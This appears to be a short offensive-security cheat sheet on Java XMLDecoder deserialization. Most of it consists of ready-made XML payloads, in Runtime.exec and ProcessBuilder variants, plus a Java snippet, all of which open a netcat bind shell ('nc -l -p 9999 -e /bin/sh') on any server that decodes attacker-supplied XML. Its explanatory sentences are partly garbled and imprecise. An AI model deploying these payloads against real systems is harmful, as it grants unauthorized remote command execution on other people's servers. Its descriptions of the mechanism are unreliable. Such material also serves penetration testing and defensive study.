# XMLDecoder

**XMLDecoder** is a Java class that **creates objects** based on an XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, they will instantly gain code execution on the server.

**XMLDecoder** creates the serializes and creates an object. **readObject** deserializes the object.

For the Bind Shell java script, we can create an XML that uses the Java Runtime.exec() method that reads the command in array form.

```java
Runtime run = Runtime.getRuntime();
String[] commands = new String[] {"/usr/bin/nc", "-l", "-p", "9999", "-e", "/bin/sh"};
run.exec(commands);
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="6">
                <void index="0">
                    <string>/usr/bin/nc</string>
                </void>
                <void index="1">
                    <string>-l</string>
                </void>
                <void index="2">
                    <string>-p</string>
                </void>
                <void index="3">
                    <string>9999</string>
                </void>
                <void index="4">
                    <string>-e</string>
                </void>
                <void index="5">
                    <string>/bin/sh</string>
                </void>
            </array>
        </void>
    </object>
</java>
```

## Process Builder

Instead of Runtime.exec(), we can also use the ProcessBuilder class in java to execute the command.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="6">
            <void index="0">
                <string>/usr/bin/nc</string>
            </void>
            <void index="1">
                <string>-l</string>
            </void>
            <void index="2">
                <string>-p</string>
            </void>
            <void index="3">
                <string>9999</string>
            </void>
            <void index="4">
                <string>-e</string>
            </void>
            <void index="5">
                <string>/bin/sh</string>
            </void>
        </array>
        <void method="start" id="process"></void>
    </void>
</java>
```